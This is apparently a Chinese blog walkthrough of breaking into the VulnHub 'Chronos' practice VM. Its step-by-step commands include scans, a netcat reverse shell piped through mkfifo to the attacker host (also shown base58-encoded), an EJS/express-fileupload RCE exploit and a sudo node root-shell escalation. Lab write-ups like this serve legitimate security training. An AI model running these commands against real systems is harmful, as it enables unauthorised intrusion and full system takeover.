今天实践的是vulnhub的Chronos镜像,
下载地址,https://download.vulnhub.com/chronos/Chronos.ova,
用workstation无法导入,换virtualbox没问题,
Kali攻击机还是在workstation下,地址扫描,
sudo netdiscover -r 192.168.1.0/24,根据经验,靶机地址是103,
继续做端口扫描,sudo nmap -sS -sV -T5 -A -p- 192.168.1.103,
浏览器访问,发现首页的源码里有提示,可以访问chronos.local:8000,
本地windows和kali攻击机都添加了chronos.local的hosts记录,
直接访问chronos.local:8000,发现能显示当前系统的时间,从源码中看到跟主页源码里一样的内容,
根据经验猜测format的内容是编码过的,经过验证发现是base58,
猜测这个位置有命令执行漏洞,构造一串反弹shell脚本,
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.1.106 4444 >/tmp/f,base58转换,
RHuraBnsjzxcoNY4XrKRdorq3g8R8oVnXEjCNSLCRikBctUTCCjGaaEw1WztLuPayMVYS7ZBhr4j3X8w9sP7Mrm4rYrQ3UbUjt9PjyA7wa1L5Jku,
在burpsuite里抓到访问的请求,
把base58编码后的内容换上去,主要还要换User-Agent: Chronos,
转发之前在kali攻击机上开启反弹shell监听,nc -lvp 4444,
这就拿到了反弹shell,id看一下不是root,需要进一步提权,
在当前账号下查到有用的信息,express-fileupload软件和版本,
网上搜到漏洞和利用方法,
https://dev.to/boiledsteak/simple-remote-code-execution-on-ejs-web-applications-with-express-fileupload-3325,
下载漏洞利用脚本,https://github.com/boiledsteak/EJS-Exploit/blob/main/attacker/EJS-RCE-attack.py,
根据实际情况进行修改,
kali攻击机上开启http下载服务,python2 -m SimpleHTTPServer 80,
以及开启反弹shell监听,nc -lvp 8888,靶机那边下载并执行,
反弹shell这就又过来了,id确认还不是root,但是可sudo -l,发现node程序是root权限执行的,
搜索node的本地提权方法,
提权,sudo node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})',
确认拿到root的shell,任务完成。
原文始发于微信公众号(云计算和网络安全技术实践):vulnhub之Chronos的实践
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论